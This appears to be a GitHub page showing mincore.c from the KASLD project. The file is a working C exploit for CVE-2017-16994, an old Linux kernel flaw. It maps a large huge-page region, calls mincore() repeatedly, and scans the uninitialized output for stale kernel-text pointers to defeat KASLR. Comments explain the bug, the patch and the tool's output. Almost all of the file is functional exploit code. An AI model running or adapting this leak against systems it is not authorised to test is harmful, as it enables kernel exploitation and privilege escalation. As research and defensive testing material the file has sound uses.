-
Notifications
You must be signed in to change notification settings - Fork 52
Expand file tree
/
Copy pathmincore.c
More file actions
196 lines (179 loc) · 7.26 KB
/
Copy pathmincore.c
File metadata and controls
196 lines (179 loc) · 7.26 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
// This file is part of KASLD - https://github.com/bcoles/kasld
//
// mincore heap page disclosure (CVE-2017-16994)
//
// The `mincore` syscall copies uninitialized memory
// from the page allocator to userspace.
//
// Patched in kernel v4.15-rc1 on 2017-11-16:
// https://github.com/torvalds/linux/commit/373c4557d2aa362702c4c2d41288fb1e54990b7c
//
// Largely based on original code by Jann Horn:
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
// The original was a minimal bug reproducer (CVE-2017-16994); reimplemented
// here.
//
// Leak primitive:
// Data leaked: kernel heap pointer (page allocator metadata)
// Kernel subsystem: mm — mincore syscall (do_mincore /
// __mincore_unmapped_range) Data structure: page allocator metadata
// (uninitialized byte in vec) Address type: virtual Method: heuristic
// (brute-force scan of MAP_HUGETLB region) CVE: CVE-2017-16994
// Patched: v4.15 (commit 373c4557d2aa)
// Status: fixed in v4.15
// Access check: none pre-v4.15 (mincore syscall, unprivileged)
// Source: https://elixir.bootlin.com/linux/v4.14/source/mm/mincore.c
//
// Mitigations:
// Patched in v4.15. No runtime sysctl could restrict access — the
// bug was an uninitialized byte in the mincore output vector. x86_64 only.
//
// KASLD_BUILD_NO_OPTIMIZE: built -O0 (Makefile) so the optimizer cannot elide
// the info-leak read loop that scans the mincore() output vector for stale
// kernel pointers; a per-function no-opt attribute is not a reliable
// substitute.
// ---
// <bcoles@gmail.com>
#if !defined(__x86_64__) && !defined(__amd64__)
#error "Architecture is not supported"
#endif
#define _GNU_SOURCE
#include "include/kasld/api.h"
#include "include/kasld/cli.h"
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <time.h>
#include <unistd.h>
/* Time limit (seconds) to avoid grinding on patched kernels.
* On vulnerable systems the leak is typically found within the first
* few thousand iterations, so this limit only fires on patched kernels
* where every iteration is fruitless. */
#define TIMEOUT_SECS 5
KASLD_EXPLAIN(
"Exploits CVE-2017-16994: the mincore() syscall, when querying "
"unbacked MAP_NORESERVE MAP_HUGETLB pages, left the output vector "
"uninitialised, leaking stale kernel memory to userspace; the scan "
"keeps values in the kernel-text range and reports the lowest as a "
"kernel-text base sample. Fixed in v4.15 by zeroing "
"the output vector for unmapped huge-page ranges.");
KASLD_META("method:heuristic\n"
"phase:probing\n"
"live:1\n"
"discloses:virtual\n"
"cve:CVE-2017-16994\n"
"patch:v4.15\n");
static unsigned long get_kernel_addr_mincore(void) {
/* Heap-allocate the page_sized cookie buffer: the runtime size from
* getpagesize() would otherwise require a VLA, which conflicts with
* -Wvla and pessimises -fstack-protector-strong on this frame. */
size_t page = (size_t)getpagesize();
unsigned char *buf = malloc(page);
if (!buf)
return 0;
unsigned long iterations = 1000000;
unsigned long addr = 0;
unsigned long len = (unsigned long)0x20000000000;
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
if (mmap((void *)0x66000000, len, PROT_NONE,
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1,
0) == MAP_FAILED) {
perror("[-] mmap");
free(buf);
return 0;
}
unsigned long i;
int timed_out = 0;
/* -t SECS overrides the default give-up budget: on a vulnerable kernel the
* leak is found in a few thousand iterations, but on a patched one this scan
* runs to the deadline before concluding "likely patched". */
int budget_s = kasld_time_s > 0 ? (int)kasld_time_s : TIMEOUT_SECS;
struct timespec deadline;
clock_gettime(CLOCK_MONOTONIC, &deadline);
deadline.tv_sec += budget_s;
for (i = 0; i <= iterations; i++) {
/* Check deadline every 4096 iterations to avoid clock_gettime overhead */
if ((i & 0xfff) == 0 && i > 0) {
struct timespec now;
clock_gettime(CLOCK_MONOTONIC, &now);
if (now.tv_sec > deadline.tv_sec ||
(now.tv_sec == deadline.tv_sec && now.tv_nsec >= deadline.tv_nsec)) {
kasld_err("timeout after %lu iterations (%ds); likely patched", i,
budget_s);
timed_out = 1;
break;
}
}
/* Touch a mishandle with this type mapping */
if (mincore((void *)0x86000000, 0x1000000, buf)) {
perror("[-] mincore");
if (munmap((void *)0x66000000, len))
perror("[-] munmap");
free(buf);
return 0;
}
unsigned long n;
/* Slide an unsigned-long-wide window over buf; stop before the read would
* run past the page-sized allocation (buf[n .. n+sizeof(long)-1]).
*
* The window advances one BYTE at a time, so most reads are unaligned by
* construction: the leaked pointer sits at an offset this side does not
* know, and stepping by sizeof(long) would skip three candidate positions
* in four. The cast therefore does increase the required alignment, which
* is safe only because this file refuses to compile off x86-64 (see the
* gate at the top), where an unaligned load is permitted. On a
* strict-alignment target the same scan would have to be assembled
* byte-wise instead. */
#if defined(__clang__)
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wcast-align"
#endif
for (n = 0; n + sizeof(unsigned long) <= page; n++) {
addr = *(unsigned long *)(&buf[n]);
/* Kernel address space */
if (kasld_addr_is_kernel_text(addr)) {
if (munmap((void *)0x66000000, len))
perror("[-] munmap");
free(buf);
return addr;
}
}
#if defined(__clang__)
#pragma GCC diagnostic pop
#endif
}
if (munmap((void *)0x66000000, len))
perror("[-] munmap");
free(buf);
kasld_err("kernel base not found in mincore info leak");
/* A vulnerable kernel yields within a few thousand iterations, so an empty
* scan points at a patched one — but a quiet run on a vulnerable kernel
* looks identical from here, so the reason cannot be proven either way.
* Untyped: this helper returns an address, and the caller owns the exit
* code (0, which is what an inconclusive run carries). */
kasld_disposition(DISP_INCONCLUSIVE, NULL,
timed_out ? "scan hit its time budget with no kernel-text "
"value; likely patched, not proven"
: "scan exhausted its iterations with no "
"kernel-text value; likely patched, not "
"proven");
return 0;
}
int main(int argc, char *argv[]) {
kasld_cli(argc, argv);
if (kasld_skip_live_probe("mincore"))
return 0;
/* Live uninitialised-memory info leak: reads a stale kernel pointer from the
* running kernel's mincore() output vector. */
kasld_info("trying mincore info leak...");
unsigned long addr = get_kernel_addr_mincore();
if (!addr)
return 0;
kasld_found("leaked address: %lx", addr);
kasld_info("possible kernel base: %lx", kasld_floor_text_base(addr));
kasld_result_sample(KASLD_TYPE_VIRT, REGION_KERNEL_TEXT, addr, NULL,
CONF_HEURISTIC);
return 0;
}